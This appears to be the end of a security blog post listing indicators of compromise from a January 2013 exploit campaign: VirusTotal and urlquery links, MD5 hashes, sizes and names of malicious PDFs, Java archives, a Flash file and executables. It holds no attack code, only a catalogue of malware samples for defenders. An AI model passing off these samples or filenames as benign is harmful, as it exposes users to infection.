https://www.virustotal.com/file/f41f8102bb2d7b0e7bf97f61332e768d63fb5ccfa35693b5857c23b9e58e9622/analysis/1359196175/ 2013/01/26 19:16 a5a1308ee3ca7f75fe85fe4d9a14752f 946 flash2.swf http://urlquery.net/report.php?id=850230 https://www.virustotal.com/file/3beb8ae0ce0ba1c7a8235d93aefcadded2ab7917414b70ce424836ad0ca4a721/analysis/1359196214/ 2013/01/26 19:17 361f6e22e55ca3732d8cbeff43ecb1d4 21,599 infector1.pdf http://urlquery.net/report.php?id=850240 https://www.virustotal.com/file/66fb2a78aaef9b11d1e0adfaa49a81f380248230add1663cb7a75bd263b854e4/analysis/1359196230/ 2013/01/26 19:17 ef4c398c0138c3e8adabcdb647b2283b 11,183 infector2.pdf http://urlquery.net/report.php?id=850236 https://www.virustotal.com/file/1fa06ce003b01fbc41b9e959f1d478f3ba56fe367f498921a757255627c67bb0/analysis/1359196247/ 2013/01/26 18:23 95c06ae7b26fcbe338532bbaa1e137c4 15,420 java1.jar http://urlquery.net/report.php?id=842744 https://www.virustotal.com/file/7ef8f67e7e4b39086387570b7fd8de505684b87318e9acccef34e20e0a8122b4/analysis/1359196264/ 2013/01/26 18:24 5599f12b1c2ce9c68dc629d013241273 15,592 java2.jar http://urlquery.net/report.php?id=842744 https://www.virustotal.com/file/63106ebc5076fe6e1c8195a4e5f0dfb35668c0b0334e9e7fa840f4a28ce4830c/analysis/1359196283/ 2013/01/26 18:42 9fb4dd1b3e0b6002eff7e6f63a6b6d07 98,304 about.exe http://urlquery.net/report.php?id=850234 https://www.virustotal.com/file/4ac71ec87577944cfb098b379bd55e9ddc8234cd791d994f621b892d969c699f/analysis/1359193394/ 2013/01/26 20:39 b152dacee9c5ca22543fe9e435177496 110,592 KB00777165.exe - https://www.virustotal.com/file/6a18c125b64f20432f8bb63ab92afcbaf9bc234968c8e8c2b472832877ee35a7/analysis/1359275410/Stay safe friends! (PS: Thank's to a friend who contribute this nice picture!)
